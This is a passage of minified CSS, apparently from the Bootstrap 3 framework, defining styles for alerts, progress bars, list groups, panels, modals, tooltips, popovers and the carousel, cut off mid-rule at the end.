.badge { float: right; } .list-group-item > .badge + .badge { margin-right: 5px; } .nav-pills > li > a > .badge { margin-left: 3px; } .jumbotron { padding-top: 30px; padding-bottom: 30px; margin-bottom: 30px; color: inherit; background-color: #eee; } .jumbotron h1, .jumbotron .h1 { color: inherit; } .jumbotron p { margin-bottom: 15px; font-size: 21px; font-weight: 200; } .jumbotron > hr { border-top-color: #d5d5d5; } .container .jumbotron, .container-fluid .jumbotron { border-radius: 6px; } .jumbotron .container { max-width: 100%; } @media screen and (min-width: 768px) { .jumbotron { padding-top: 48px; padding-bottom: 48px; } .container .jumbotron, .container-fluid .jumbotron { padding-right: 60px; padding-left: 60px; } .jumbotron h1, .jumbotron .h1 { font-size: 63px; } } .thumbnail { display: block; padding: 4px; margin-bottom: 20px; line-height: 1.42857143; background-color: #fff; border: 1px solid #ddd; border-radius: 4px; -webkit-transition: border .2s ease-in-out; -o-transition: border .2s ease-in-out; transition: border .2s ease-in-out; } .thumbnail > img, .thumbnail a > img { margin-right: auto; margin-left: auto; } a.thumbnail:hover, a.thumbnail:focus, a.thumbnail.active { border-color: #337ab7; } .thumbnail .caption { padding: 9px; color: #333; } .alert { padding: 15px; margin-bottom: 20px; border: 1px solid transparent; border-radius: 4px; } .alert h4 { margin-top: 0; color: inherit; } .alert .alert-link { font-weight: bold; } .alert > p, .alert > ul { margin-bottom: 0; } .alert > p + p { margin-top: 5px; } .alert-dismissable, .alert-dismissible { padding-right: 35px; } .alert-dismissable .close, .alert-dismissible .close { position: relative; top: -2px; right: -21px; color: inherit; } .alert-success { color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6; } .alert-success hr { border-top-color: #c9e2b3; } .alert-success .alert-link { color: #2b542c; } .alert-info { color: #31708f; background-color: #d9edf7; border-color: #bce8f1; } .alert-info hr { border-top-color: #a6e1ec; } .alert-info .alert-link { color: #245269; } .alert-warning { color: #8a6d3b; background-color: #fcf8e3; border-color: #faebcc; } .alert-warning hr { border-top-color: #f7e1b5; } .alert-warning .alert-link { color: #66512c; } .alert-danger { color: #a94442; background-color: #f2dede; border-color: #ebccd1; } .alert-danger hr { border-top-color: #e4b9c0; } .alert-danger .alert-link { color: #843534; } @-webkit-keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } @-o-keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } @keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } .progress { height: 20px; margin-bottom: 20px; overflow: hidden; background-color: #f5f5f5; border-radius: 4px; -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); } .progress-bar { float: left; width: 0; height: 100%; font-size: 12px; line-height: 20px; color: #fff; text-align: center; background-color: #337ab7; -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); -webkit-transition: width .6s ease; -o-transition: width .6s ease; transition: width .6s ease; } .progress-striped .progress-bar, .progress-bar-striped { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); -webkit-background-size: 40px 40px; background-size: 40px 40px; } .progress.active .progress-bar, .progress-bar.active { -webkit-animation: progress-bar-stripes 2s linear infinite; -o-animation: progress-bar-stripes 2s linear infinite; animation: progress-bar-stripes 2s linear infinite; } .progress-bar-success { background-color: #5cb85c; } .progress-striped .progress-bar-success { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-info { background-color: #5bc0de; } .progress-striped .progress-bar-info { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-warning { background-color: #f0ad4e; } .progress-striped .progress-bar-warning { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-danger { background-color: #d9534f; } .progress-striped .progress-bar-danger { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .media { margin-top: 15px; } .media:first-child { margin-top: 0; } .media, .media-body { overflow: hidden; zoom: 1; } .media-body { width: 10000px; } .media-object { display: block; } .media-object.img-thumbnail { max-width: none; } .media-right, .media > .pull-right { padding-left: 10px; } .media-left, .media > .pull-left { padding-right: 10px; } .media-left, .media-right, .media-body { display: table-cell; vertical-align: top; } .media-middle { vertical-align: middle; } .media-bottom { vertical-align: bottom; } .media-heading { margin-top: 0; margin-bottom: 5px; } .media-list { padding-left: 0; list-style: none; } .list-group { padding-left: 0; margin-bottom: 20px; } .list-group-item { position: relative; display: block; padding: 10px 15px; margin-bottom: -1px; background-color: #fff; border: 1px solid #ddd; } .list-group-item:first-child { border-top-left-radius: 4px; border-top-right-radius: 4px; } .list-group-item:last-child { margin-bottom: 0; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px; } a.list-group-item, button.list-group-item { color: #555; } a.list-group-item .list-group-item-heading, button.list-group-item .list-group-item-heading { color: #333; } a.list-group-item:hover, button.list-group-item:hover, a.list-group-item:focus, button.list-group-item:focus { color: #555; text-decoration: none; background-color: #f5f5f5; } button.list-group-item { width: 100%; text-align: left; } .list-group-item.disabled, .list-group-item.disabled:hover, .list-group-item.disabled:focus { color: #777; cursor: not-allowed; background-color: #eee; } .list-group-item.disabled .list-group-item-heading, .list-group-item.disabled:hover .list-group-item-heading, .list-group-item.disabled:focus .list-group-item-heading { color: inherit; } .list-group-item.disabled .list-group-item-text, .list-group-item.disabled:hover .list-group-item-text, .list-group-item.disabled:focus .list-group-item-text { color: #777; } .list-group-item.active, .list-group-item.active:hover, .list-group-item.active:focus { z-index: 2; color: #fff; background-color: #337ab7; border-color: #337ab7; } .list-group-item.active .list-group-item-heading, .list-group-item.active:hover .list-group-item-heading, .list-group-item.active:focus .list-group-item-heading, .list-group-item.active .list-group-item-heading > small, .list-group-item.active:hover .list-group-item-heading > small, .list-group-item.active:focus .list-group-item-heading > small, .list-group-item.active .list-group-item-heading > .small, .list-group-item.active:hover .list-group-item-heading > .small, .list-group-item.active:focus .list-group-item-heading > .small { color: inherit; } .list-group-item.active .list-group-item-text, .list-group-item.active:hover .list-group-item-text, .list-group-item.active:focus .list-group-item-text { color: #c7ddef; } .list-group-item-success { color: #3c763d; background-color: #dff0d8; } a.list-group-item-success, button.list-group-item-success { color: #3c763d; } a.list-group-item-success .list-group-item-heading, button.list-group-item-success .list-group-item-heading { color: inherit; } a.list-group-item-success:hover, button.list-group-item-success:hover, a.list-group-item-success:focus, button.list-group-item-success:focus { color: #3c763d; background-color: #d0e9c6; } a.list-group-item-success.active, button.list-group-item-success.active, a.list-group-item-success.active:hover, button.list-group-item-success.active:hover, a.list-group-item-success.active:focus, button.list-group-item-success.active:focus { color: #fff; background-color: #3c763d; border-color: #3c763d; } .list-group-item-info { color: #31708f; background-color: #d9edf7; } a.list-group-item-info, button.list-group-item-info { color: #31708f; } a.list-group-item-info .list-group-item-heading, button.list-group-item-info .list-group-item-heading { color: inherit; } a.list-group-item-info:hover, button.list-group-item-info:hover, a.list-group-item-info:focus, button.list-group-item-info:focus { color: #31708f; background-color: #c4e3f3; } a.list-group-item-info.active, button.list-group-item-info.active, a.list-group-item-info.active:hover, button.list-group-item-info.active:hover, a.list-group-item-info.active:focus, button.list-group-item-info.active:focus { color: #fff; background-color: #31708f; border-color: #31708f; } .list-group-item-warning { color: #8a6d3b; background-color: #fcf8e3; } a.list-group-item-warning, button.list-group-item-warning { color: #8a6d3b; } a.list-group-item-warning .list-group-item-heading, button.list-group-item-warning .list-group-item-heading { color: inherit; } a.list-group-item-warning:hover, button.list-group-item-warning:hover, a.list-group-item-warning:focus, button.list-group-item-warning:focus { color: #8a6d3b; background-color: #faf2cc; } a.list-group-item-warning.active, button.list-group-item-warning.active, a.list-group-item-warning.active:hover, button.list-group-item-warning.active:hover, a.list-group-item-warning.active:focus, button.list-group-item-warning.active:focus { color: #fff; background-color: #8a6d3b; border-color: #8a6d3b; } .list-group-item-danger { color: #a94442; background-color: #f2dede; } a.list-group-item-danger, button.list-group-item-danger { color: #a94442; } a.list-group-item-danger .list-group-item-heading, button.list-group-item-danger .list-group-item-heading { color: inherit; } a.list-group-item-danger:hover, button.list-group-item-danger:hover, a.list-group-item-danger:focus, button.list-group-item-danger:focus { color: #a94442; background-color: #ebcccc; } a.list-group-item-danger.active, button.list-group-item-danger.active, a.list-group-item-danger.active:hover, button.list-group-item-danger.active:hover, a.list-group-item-danger.active:focus, button.list-group-item-danger.active:focus { color: #fff; background-color: #a94442; border-color: #a94442; } .list-group-item-heading { margin-top: 0; margin-bottom: 5px; } .list-group-item-text { margin-bottom: 0; line-height: 1.3; } .panel { margin-bottom: 20px; background-color: #fff; border: 1px solid transparent; border-radius: 4px; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05); box-shadow: 0 1px 1px rgba(0, 0, 0, .05); } .panel-body { padding: 15px; } .panel-heading { padding: 10px 15px; border-bottom: 1px solid transparent; border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel-heading > .dropdown .dropdown-toggle { color: inherit; } .panel-title { margin-top: 0; margin-bottom: 0; font-size: 16px; color: inherit; } .panel-title > a, .panel-title > small, .panel-title > .small, .panel-title > small > a, .panel-title > .small > a { color: inherit; } .panel-footer { padding: 10px 15px; background-color: #f5f5f5; border-top: 1px solid #ddd; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .list-group, .panel > .panel-collapse > .list-group { margin-bottom: 0; } .panel > .list-group .list-group-item, .panel > .panel-collapse > .list-group .list-group-item { border-width: 1px 0; border-radius: 0; } .panel > .list-group:first-child .list-group-item:first-child, .panel > .panel-collapse > .list-group:first-child .list-group-item:first-child { border-top: 0; border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel > .list-group:last-child .list-group-item:last-child, .panel > .panel-collapse > .list-group:last-child .list-group-item:last-child { border-bottom: 0; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child { border-top-left-radius: 0; border-top-right-radius: 0; } .panel-heading + .list-group .list-group-item:first-child { border-top-width: 0; } .list-group + .panel-footer { border-top-width: 0; } .panel > .table, .panel > .table-responsive > .table, .panel > .panel-collapse > .table { margin-bottom: 0; } .panel > .table caption, .panel > .table-responsive > .table caption, .panel > .panel-collapse > .table caption { padding-right: 15px; padding-left: 15px; } .panel > .table:first-child, .panel > .table-responsive:first-child > .table:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel > .table:first-child > thead:first-child > tr:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel > .table:first-child > thead:first-child > tr:first-child td:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, .panel > .table:first-child > thead:first-child > tr:first-child th:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { border-top-left-radius: 3px; } .panel > .table:first-child > thead:first-child > tr:first-child td:last-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, .panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, .panel > .table:first-child > thead:first-child > tr:first-child th:last-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, .panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { border-top-right-radius: 3px; } .panel > .table:last-child, .panel > .table-responsive:last-child > .table:last-child { border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child { border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, .panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, .panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, .panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { border-bottom-left-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, .panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { border-bottom-right-radius: 3px; } .panel > .panel-body + .table, .panel > .panel-body + .table-responsive, .panel > .table + .panel-body, .panel > .table-responsive + .panel-body { border-top: 1px solid #ddd; } .panel > .table > tbody:first-child > tr:first-child th, .panel > .table > tbody:first-child > tr:first-child td { border-top: 0; } .panel > .table-bordered, .panel > .table-responsive > .table-bordered { border: 0; } .panel > .table-bordered > thead > tr > th:first-child, .panel > .table-responsive > .table-bordered > thead > tr > th:first-child, .panel > .table-bordered > tbody > tr > th:first-child, .panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, .panel > .table-bordered > tfoot > tr > th:first-child, .panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, .panel > .table-bordered > thead > tr > td:first-child, .panel > .table-responsive > .table-bordered > thead > tr > td:first-child, .panel > .table-bordered > tbody > tr > td:first-child, .panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, .panel > .table-bordered > tfoot > tr > td:first-child, .panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { border-left: 0; } .panel > .table-bordered > thead > tr > th:last-child, .panel > .table-responsive > .table-bordered > thead > tr > th:last-child, .panel > .table-bordered > tbody > tr > th:last-child, .panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, .panel > .table-bordered > tfoot > tr > th:last-child, .panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, .panel > .table-bordered > thead > tr > td:last-child, .panel > .table-responsive > .table-bordered > thead > tr > td:last-child, .panel > .table-bordered > tbody > tr > td:last-child, .panel > .table-responsive > .table-bordered > tbody > tr > td:last-child, .panel > .table-bordered > tfoot > tr > td:last-child, .panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { border-right: 0; } .panel > .table-bordered > thead > tr:first-child > td, .panel > .table-responsive > .table-bordered > thead > tr:first-child > td, .panel > .table-bordered > tbody > tr:first-child > td, .panel > .table-responsive > .table-bordered > tbody > tr:first-child > td, .panel > .table-bordered > thead > tr:first-child > th, .panel > .table-responsive > .table-bordered > thead > tr:first-child > th, .panel > .table-bordered > tbody > tr:first-child > th, .panel > .table-responsive > .table-bordered > tbody > tr:first-child > th { border-bottom: 0; } .panel > .table-bordered > tbody > tr:last-child > td, .panel > .table-responsive > .table-bordered > tbody > tr:last-child > td, .panel > .table-bordered > tfoot > tr:last-child > td, .panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td, .panel > .table-bordered > tbody > tr:last-child > th, .panel > .table-responsive > .table-bordered > tbody > tr:last-child > th, .panel > .table-bordered > tfoot > tr:last-child > th, .panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th { border-bottom: 0; } .panel > .table-responsive { margin-bottom: 0; border: 0; } .panel-group { margin-bottom: 20px; } .panel-group .panel { margin-bottom: 0; border-radius: 4px; } .panel-group .panel + .panel { margin-top: 5px; } .panel-group .panel-heading { border-bottom: 0; } .panel-group .panel-heading + .panel-collapse > .panel-body, .panel-group .panel-heading + .panel-collapse > .list-group { border-top: 1px solid #ddd; } .panel-group .panel-footer { border-top: 0; } .panel-group .panel-footer + .panel-collapse .panel-body { border-bottom: 1px solid #ddd; } .panel-default { border-color: #ddd; } .panel-default > .panel-heading { color: #333; background-color: #f5f5f5; border-color: #ddd; } .panel-default > .panel-heading + .panel-collapse > .panel-body { border-top-color: #ddd; } .panel-default > .panel-heading .badge { color: #f5f5f5; background-color: #333; } .panel-default > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #ddd; } .panel-primary { border-color: #337ab7; } .panel-primary > .panel-heading { color: #fff; background-color: #337ab7; border-color: #337ab7; } .panel-primary > .panel-heading + .panel-collapse > .panel-body { border-top-color: #337ab7; } .panel-primary > .panel-heading .badge { color: #337ab7; background-color: #fff; } .panel-primary > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #337ab7; } .panel-success { border-color: #d6e9c6; } .panel-success > .panel-heading { color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6; } .panel-success > .panel-heading + .panel-collapse > .panel-body { border-top-color: #d6e9c6; } .panel-success > .panel-heading .badge { color: #dff0d8; background-color: #3c763d; } .panel-success > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #d6e9c6; } .panel-info { border-color: #bce8f1; } .panel-info > .panel-heading { color: #31708f; background-color: #d9edf7; border-color: #bce8f1; } .panel-info > .panel-heading + .panel-collapse > .panel-body { border-top-color: #bce8f1; } .panel-info > .panel-heading .badge { color: #d9edf7; background-color: #31708f; } .panel-info > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #bce8f1; } .panel-warning { border-color: #faebcc; } .panel-warning > .panel-heading { color: #8a6d3b; background-color: #fcf8e3; border-color: #faebcc; } .panel-warning > .panel-heading + .panel-collapse > .panel-body { border-top-color: #faebcc; } .panel-warning > .panel-heading .badge { color: #fcf8e3; background-color: #8a6d3b; } .panel-warning > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #faebcc; } .panel-danger { border-color: #ebccd1; } .panel-danger > .panel-heading { color: #a94442; background-color: #f2dede; border-color: #ebccd1; } .panel-danger > .panel-heading + .panel-collapse > .panel-body { border-top-color: #ebccd1; } .panel-danger > .panel-heading .badge { color: #f2dede; background-color: #a94442; } .panel-danger > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #ebccd1; } .embed-responsive { position: relative; display: block; height: 0; padding: 0; overflow: hidden; } .embed-responsive .embed-responsive-item, .embed-responsive iframe, .embed-responsive embed, .embed-responsive object, .embed-responsive video { position: absolute; top: 0; bottom: 0; left: 0; width: 100%; height: 100%; border: 0; } .embed-responsive-16by9 { padding-bottom: 56.25%; } .embed-responsive-4by3 { padding-bottom: 75%; } .well { min-height: 20px; padding: 19px; margin-bottom: 20px; background-color: #f5f5f5; border: 1px solid #e3e3e3; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); } .well blockquote { border-color: #ddd; border-color: rgba(0, 0, 0, .15); } .well-lg { padding: 24px; border-radius: 6px; } .well-sm { padding: 9px; border-radius: 3px; } .close { float: right; font-size: 21px; font-weight: bold; line-height: 1; color: #000; text-shadow: 0 1px 0 #fff; filter: alpha(opacity=20); opacity: .2; } .close:hover, .close:focus { color: #000; text-decoration: none; cursor: pointer; filter: alpha(opacity=50); opacity: .5; } button.close { -webkit-appearance: none; padding: 0; cursor: pointer; background: transparent; border: 0; } .modal-open { overflow: hidden; } .modal { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1050; display: none; overflow: hidden; -webkit-overflow-scrolling: touch; outline: 0; } .modal.fade .modal-dialog { -webkit-transition: -webkit-transform .3s ease-out; -o-transition: -o-transform .3s ease-out; transition: transform .3s ease-out; -webkit-transform: translate(0, -25%); -ms-transform: translate(0, -25%); -o-transform: translate(0, -25%); transform: translate(0, -25%); } .modal.in .modal-dialog { -webkit-transform: translate(0, 0); -ms-transform: translate(0, 0); -o-transform: translate(0, 0); transform: translate(0, 0); } .modal-open .modal { overflow-x: hidden; overflow-y: auto; } .modal-dialog { position: relative; width: auto; margin: 10px; } .modal-content { position: relative; background-color: #fff; -webkit-background-clip: padding-box; background-clip: padding-box; border: 1px solid #999; border: 1px solid rgba(0, 0, 0, .2); border-radius: 6px; outline: 0; -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5); box-shadow: 0 3px 9px rgba(0, 0, 0, .5); } .modal-backdrop { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1040; background-color: #000; } .modal-backdrop.fade { filter: alpha(opacity=0); opacity: 0; } .modal-backdrop.in { filter: alpha(opacity=50); opacity: .5; } .modal-header { min-height: 16.42857143px; padding: 15px; border-bottom: 1px solid #e5e5e5; } .modal-header .close { margin-top: -2px; } .modal-title { margin: 0; line-height: 1.42857143; } .modal-body { position: relative; padding: 15px; } .modal-footer { padding: 15px; text-align: right; border-top: 1px solid #e5e5e5; } .modal-footer .btn + .btn { margin-bottom: 0; margin-left: 5px; } .modal-footer .btn-group .btn + .btn { margin-left: -1px; } .modal-footer .btn-block + .btn-block { margin-left: 0; } .modal-scrollbar-measure { position: absolute; top: -9999px; width: 50px; height: 50px; overflow: scroll; } @media (min-width: 768px) { .modal-dialog { width: 600px; margin: 30px auto; } .modal-content { -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5); box-shadow: 0 5px 15px rgba(0, 0, 0, .5); } .modal-sm { width: 300px; } } @media (min-width: 992px) { .modal-lg { width: 900px; } } .tooltip { position: absolute; z-index: 1070; display: block; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 12px; font-style: normal; font-weight: normal; line-height: 1.42857143; text-align: left; text-align: start; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; word-spacing: normal; word-wrap: normal; white-space: normal; filter: alpha(opacity=0); opacity: 0; line-break: auto; } .tooltip.in { filter: alpha(opacity=90); opacity: .9; } .tooltip.top { padding: 5px 0; margin-top: -3px; } .tooltip.right { padding: 0 5px; margin-left: 3px; } .tooltip.bottom { padding: 5px 0; margin-top: 3px; } .tooltip.left { padding: 0 5px; margin-left: -3px; } .tooltip-inner { max-width: 200px; padding: 3px 8px; color: #fff; text-align: center; background-color: #000; border-radius: 4px; } .tooltip-arrow { position: absolute; width: 0; height: 0; border-color: transparent; border-style: solid; } .tooltip.top .tooltip-arrow { bottom: 0; left: 50%; margin-left: -5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.top-left .tooltip-arrow { right: 5px; bottom: 0; margin-bottom: -5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.top-right .tooltip-arrow { bottom: 0; left: 5px; margin-bottom: -5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.right .tooltip-arrow { top: 50%; left: 0; margin-top: -5px; border-width: 5px 5px 5px 0; border-right-color: #000; } .tooltip.left .tooltip-arrow { top: 50%; right: 0; margin-top: -5px; border-width: 5px 0 5px 5px; border-left-color: #000; } .tooltip.bottom .tooltip-arrow { top: 0; left: 50%; margin-left: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .tooltip.bottom-left .tooltip-arrow { top: 0; right: 5px; margin-top: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .tooltip.bottom-right .tooltip-arrow { top: 0; left: 5px; margin-top: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .popover { position: absolute; top: 0; left: 0; z-index: 1060; display: none; max-width: 276px; padding: 1px; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-weight: normal; line-height: 1.42857143; text-align: left; text-align: start; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; word-spacing: normal; word-wrap: normal; white-space: normal; background-color: #fff; -webkit-background-clip: padding-box; background-clip: padding-box; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, .2); border-radius: 6px; -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2); box-shadow: 0 5px 10px rgba(0, 0, 0, .2); line-break: auto; } .popover.top { margin-top: -10px; } .popover.right { margin-left: 10px; } .popover.bottom { margin-top: 10px; } .popover.left { margin-left: -10px; } .popover-title { padding: 8px 14px; margin: 0; font-size: 14px; background-color: #f7f7f7; border-bottom: 1px solid #ebebeb; border-radius: 5px 5px 0 0; } .popover-content { padding: 9px 14px; } .popover > .arrow, .popover > .arrow:after { position: absolute; display: block; width: 0; height: 0; border-color: transparent; border-style: solid; } .popover > .arrow { border-width: 11px; } .popover > .arrow:after { content: ""; border-width: 10px; } .popover.top > .arrow { bottom: -11px; left: 50%; margin-left: -11px; border-top-color: #999; border-top-color: rgba(0, 0, 0, .25); border-bottom-width: 0; } .popover.top > .arrow:after { bottom: 1px; margin-left: -10px; content: " "; border-top-color: #fff; border-bottom-width: 0; } .popover.right > .arrow { top: 50%; left: -11px; margin-top: -11px; border-right-color: #999; border-right-color: rgba(0, 0, 0, .25); border-left-width: 0; } .popover.right > .arrow:after { bottom: -10px; left: 1px; content: " "; border-right-color: #fff; border-left-width: 0; } .popover.bottom > .arrow { top: -11px; left: 50%; margin-left: -11px; border-top-width: 0; border-bottom-color: #999; border-bottom-color: rgba(0, 0, 0, .25); } .popover.bottom > .arrow:after { top: 1px; margin-left: -10px; content: " "; border-top-width: 0; border-bottom-color: #fff; } .popover.left > .arrow { top: 50%; right: -11px; margin-top: -11px; border-right-width: 0; border-left-color: #999; border-left-color: rgba(0, 0, 0, .25); } .popover.left > .arrow:after { right: 1px; bottom: -10px; content: " "; border-right-width: 0; border-left-color: #fff; } .carousel { position: relative; } .carousel-inner { position: relative; width: 100%; overflow: hidden; } .carousel-inner > .item { position: relative; display: none; -webkit-transition: .6s ease-in-out left; -o-transition: .6s ease-in-out left; transition: .6s ease-in-out left; } .carousel-inner > .item > img, .carousel-inner > .item > a > img { line-height: 1; } @media all and (transform-3d), (-webkit-transform-3d) { .carousel-inner > .item { -webkit-transition: -webkit-transform .6s ease-in-out; -o-transition: -o-transform .6s ease-in-out; transition: transform .6s ease-in-out; -webkit-backface-visibility: hidden; backface-visibility: hidden; -webkit-perspective: 1000px; perspective: 1000px; } .carousel-inner > .item.next, .carousel-inner > .item.active.right { left: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } .carousel-inner > .item.prev, .carousel-inner > .item.active.left { left: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } .carousel-inner > .item.next.left, .carousel-inner > .item.prev.right, .carousel-inner > .item.active { left: 